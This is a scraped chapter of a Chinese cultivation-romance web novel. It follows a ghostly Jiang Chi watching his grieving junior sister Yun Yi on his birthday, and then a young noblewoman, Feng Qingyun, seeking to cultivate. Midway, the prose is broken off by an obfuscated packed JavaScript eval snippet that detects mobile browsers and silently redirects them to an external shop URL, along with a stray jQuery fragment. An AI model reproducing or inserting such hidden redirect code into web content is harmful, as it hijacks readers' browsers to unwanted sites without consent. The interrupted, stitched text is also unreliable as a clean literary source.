文趣网 > 都市小说 > 师妹她命不久矣 > 10. 师兄,是你吗?
    是幻境。

    当云漪对他视而不见、与他擦肩而过时,他便确定了。

    他更发觉,自己此时竟是灵魂状态。

    江迟看着自己可以无障碍穿透任何东西、在日光下透明发亮的身体,冥冥中却有道声音告诉他——

    这亦是他曾错失的那段光阴。

    他敛眉收神,紧跟在云漪身后,见她孑然一身行走于东临城内,人群熙熙攘攘却与她无关。

    这般光景,不知有过多少回了。

    原来在这时,云漪已经鬓发霜白。

    江迟灵魂状态飘到一棵树下,看着他的师妹手持凡钱在铺子中买了几件衣裳。仔细去看,他才发现其中正有他身上所穿的那件。

    又看见她在点心铺子买了桃花酥,拎在手中往江府的方向去。

    江迟看了片刻,倏然收起笑来。他似乎知道了云漪所做为何。

    若他猜得不错,今日恰是他的生辰。

    傻师妹……

    江迟先云漪一步走到江府。

    此时江府应是重建初成,并不如后来那般辉煌。江迟往里走了走,只见几间屋子还未安置桌椅等用物,唯有他的寝室被布置妥当。

    一陈一饰皆如往常。

    那棵桃花树大概被施了术法,一年四季,常开不败。江迟落在枝丫上,倚着树干等云漪走入。

    细细毛毛的春雨悠然而下,云漪撑着伞终于缓身走入她一手建造的江府。

    江迟的目光一直随着云漪移动,直到她走进这棵桃花树。

    大抵是云漪的神情太过冷漠,又太过陌生。江迟在她驻足的那一刻,突然催动内力而非魔气,他迟疑一瞬但并没有影响他接下来的动作。

    云漪似有所感,忽然间在那棵树下停下,而在她抬头的刹那,花瓣伴雨落下,飘舞在她周身,几乎将她包围。

    这般场景,让她想起她与江迟初见那日。

    她一直都是带有目的地去接近江迟。

    那日她千里迢迢来到东临城,下山时穿着体面,但临近东临城却总觉得这样不合适。

    她是这般贪心。

    她想要江迟对她心生怜爱,她还想要他此生此后永远爱她、保护她……无论那是何种爱。

    为此,她将自己的一身鲛纱白衣换成破破烂烂的粗布麻衣,净白的脸也抹上了脏兮兮的污泥。

    可她忘了,在她原定计划内,他们的初见应是体面且浪漫的。

    云漪拖着年幼的躯体,装作饿了好几天的流民迷迷糊糊误闯入当时的大户人家——江府。

    她知晓江家上下皆是良善之辈。

    仆人见她入府也并未驱赶她,反而贴心地给她拿了两块刚做好的桃花酥,让她在附中暂做歇息。

    云漪便是借着这个时间将江府上下探查了个遍,却迟迟未找到江加小公子在哪里。

    正当她疑惑时,头顶传来脆生生的清亮又有些稚嫩的男声:“喂,小娘子哪里人呀?”

    春心萌动不过如此。

    乍一见到日思夜想的少年郎,云漪险些乱了阵脚。

    她咬着桃花酥迟迟没有出声回应,那少年郎也并未催促或者不耐烦。

    他似乎并不惊讶自己家中出现乞丐这样的人。

    云漪匆匆咽下口中的食物,含糊不清道:“……云水城。”

    江迟没听清,事实上他就没有仔细听。

    那小娘子怎么看怎么不像乞讨的乞丐,他胡乱想着,顺带思考该如何不失体面又足够潇洒地从树上下来。

    若换做以往,他完全可以顺着树干爬下来,但此时此刻,江迟却觉得自己不能在这位远道而来的小娘子面前丢面子。

    这场面,要是被他爹娘见着,指不定要惊讶、笑话他多少回。

    可偏偏这世间总不如他愿。

    江迟翻身正打算往下跳,耐不住脚下一滑,就这么直愣愣迎面摔下来。

    他痛呼出声,强忍着泪与云漪正面相撞。

    二人鼻尖相贴,在彼此眼眸中看见自己最狼狈的模样。

    这可太丢面子了。

    江迟也顾不上什么疼啊痛啊的,利索起身将云漪扶起来。

    桃花酥碎在一旁,云漪看着心疼,江迟便安慰:“没关系,我家里还有很多,我去给你拿!”

    云漪却突然拉住他的手,一语不发看着他。

    江迟第一次被与他年纪相仿的人牵手,愣神半晌,支支吾吾只问:“怎、怎么了?”

    ……

    云漪敛眉,出神地从回忆中抽身。

    桃花依旧,可人去楼空,再多忆昔今朝都只是虚妄一片。

    而在她看不见的桃花树上,江迟轻盈落下,在她身后为她摘去零落桃花。

    无边春雨落又停。

    自江迟死后,云漪每年都会在这一日来到江府,而今已是第五年。

    这是江迟的生辰,亦是他们初逢的日子。

    常言道落叶归根,只要有人在,家便永远在。

    云漪不想若他的师兄魂归故里,看到的却是空楼残墟。

    由此在第一年,她便着手准备重建江府,却因各种意料之外的事情耽搁至近些年才正式开始。

    云漪将桃花酥摆放在桌上,又起身拿来在家中私藏的春酒。

    一杯为师兄斟上,一杯又为自己斟上。

    她其实并不爱喝酒。

    是江迟爱喝。

    自他在宗门内大比拿得头筹后,自他获得沉玉后,他便酒不离手。

    他尝遍天下名酒,却最偏爱东临城独产的“春酒”。

    后来云漪才知道,这一盏春酒,是江父江母对江迟的歉意与未能述完的爱。

    “师兄……”云漪一杯饮尽,脸颊已染上一层薄而淡的红晕。

    她呢喃着,又为自己斟满一杯,“师兄,生辰快乐。”

    “你曾说蓬莱之境有最美的云海与明月,我昨日去看了。确实如你所说。”

    “很美。”

    云漪已近乎半醉,但她仍继续说着,不管这些话有没有人能听到。

    “但我更想与你同看……”

    话未尽,人已经醉倒其间。

    江迟从座位中起身,他都听见了。

    他亦知晓她的心愿。

    “傻瓜……”

    他无法触碰到云漪,却还可以施法。

    于是,他召来一层薄被披在云漪身上,却在俯身之际与云漪对视。

    他并不确定云漪是否能看见他,但云漪看他的眼神格外清明。

    就像从未醉过一般。

    江迟顿时便愣住。

    “师兄。”云漪撑起身体仰头,并一道抓住滑落的薄被,“是你吗?”

    但不过片刻,云漪又低下头,蹙眉揉着额角。

    她甚至不敢确定是她真的醉了,还是师兄一直都在。

    “我在。”

    江迟垂眸,悬着的手缓缓放下。

    她终究还是看不见他的。

    但他该如何让云漪知晓他一直在?

    恰时春风吹又起,片片桃花吹落替江迟回答这一场相伴。

    *

    五日后,云漪收到蓬莱来信,不得不动身离开东临城。

    却在临行之际在府外遇到了一位不速之客。

    ——风家大小姐,风清韵。

    风家是自江家败落后又一兴起的大世家,区别只在于风家世代皆为凡人。

    云漪对此并不关心。

    但,缘分到了便到了。

    风清韵灰头土脸爬起来,一时间没想好该如何与云漪打招呼。

    说不小心那是真的不小心,说有意也确实是有意为之。

    但她不知道该如何解释这场相遇。

    毕竟她认识云漪,而云漪却并不认识她。

    此事还需从很久以前说起。

    早年间,她曾深陷险境,险些被当作祭品献祭。幸亏一群修士来得及时,才将她全须全尾救出来。

    那些修士身法各异,所修之道也各有不同。但唯有一人身影深深印在她脑子里。

    那是一名剑修。

    一名……朗月清风作伴其间的大剑仙。

    只这一眼,想要修仙的种子深深埋在她心里。若有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788352|210261||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    机会,她也想执剑走天涯、游遍五湖四海、结交志趣相投的陌生人。

    偏偏风家祖训,禁止后人修仙。

    后来她经过多方打听,终于打听到那位剑修。他有一个响当当的名号——沧海剑尊,是羲和宗内最年轻的剑尊;他还有一个俗名,江迟。

    再多的信息便没有了。

    是位神秘的剑客。

    风清韵暗自在心中下定论,她背着家人偷偷收拾行囊,拿着不知道靠不靠谱的地图,悄悄前往羲和。

    结果自然是失败的。

    羲和的山脚都未曾摸到,她便被家中长辈捉回去了。

    但若说此行有何收获,大概只有一个。

    她遥遥望到了江迟以及与他同行的云漪。

    此事过后,风清韵便被禁足家中直到她与一家素未蒙面的公子定亲。

    这门亲事来得突然,以风清韵的性格,她怎会乖乖听话?但未等她揭竿而起,她娘重病的噩耗便传到她耳朵里。

    难怪她会定下这门亲事……是她娘喜欢这个女婿啊。

    她娘待她很好,风清韵不想她娘伤心,但她更不想违背自己的内心。

    两全不得其美,压得她难以喘息。

    出府那日,风清韵只想着散散心。她郁闷于潦草定下的婚事,更难解于为何人人皆可求仙问道唯风家不可。

    那个埋藏于心、想要仗剑天涯做个逍遥剑修的梦想再度萌发。

    她为何不能自己修炼?为何不能去追逐自己的梦想?

    她已经被困在家中十余年,她以为她已经够听话了。

    恰在此时,独坐于屋檐边上的风家大小姐被乌泱泱人群中一抹亮色吸引。

    她不可置信揉了揉眼,甚至掐了一下自己的脸颊肉。

    是那个曾与江迟同行的女子。

    纵使衣着不同,她还是一眼认出来了。

    这简直是天助我也。

    风清韵当即从屋顶跳下来,惊得底下的小厮丫鬟连连后退。

    但她并未贸然打扰云漪,而是又偷偷观察了几日。也正因如此,才造就了现在她如此狼狈以及有些搞笑的与云漪见面。

    风清韵怎么说也是个活泼性子,她很快将这点难堪揭过,大方对云漪笑道:“你好,我叫风清韵。”

    云漪冷冷与之对视,她本是不想理她的,但就在她想要错身离开时,敏锐察觉出留在她身上的、属于江迟的剑印。

    她清楚这是江迟的习惯。

    于是,她一反常态停下脚步,正视这个与她身形相仿的女子:“何事?”

    风清韵不知云漪改变主意的原因,受宠若惊般道:“神仙姐姐可否看看我是否有根骨修仙或者什么的?”

    她直言道:“早年间有一位剑修大人将我救下,自那日起我便对仙途心向往之,却阴差阳错无法拜入任何宗门……”

    云漪听了半晌,许久没有动作。

    风清韵拿不准云漪的意思,只能慢慢等。

    “手给我。”

    终于,云漪回神,拢袖将手搭在风清韵的腕处。

    出乎意料,风清韵的根骨极佳,是响当当好的修仙苗子。

    “如何如何?”风情韵有些紧张的看着云漪。

    云漪静默片刻,实话实说道:“根骨极佳,适合修仙。”

    但她知晓一些不为人知的秘辛,是不愿有这般资质的人人踏上修仙之途的……

    看着风清韵如此开心的表情,云漪最终还是将后半句颇为扫兴的话压下去。

    风清韵活了这么多年,从未像今天这般开心。

    她可以修仙。

    哪怕是散修、哪怕需要她自己摸索前行……她都不会怕。

    只是这事还需瞒着风家上下所有人。

    直到今日,她仍不理解为什么风家人不能修炼。

    “多谢神仙姐姐。”风清韵对云漪谢过后,又有些羞赧道,“不知神仙姐姐姓谁名何?总是神仙姐姐这般称呼,有些生分。”

    云漪望着只露出一点点模样的桃花树,良久才道:“江云。”

    “叫我江云便可。”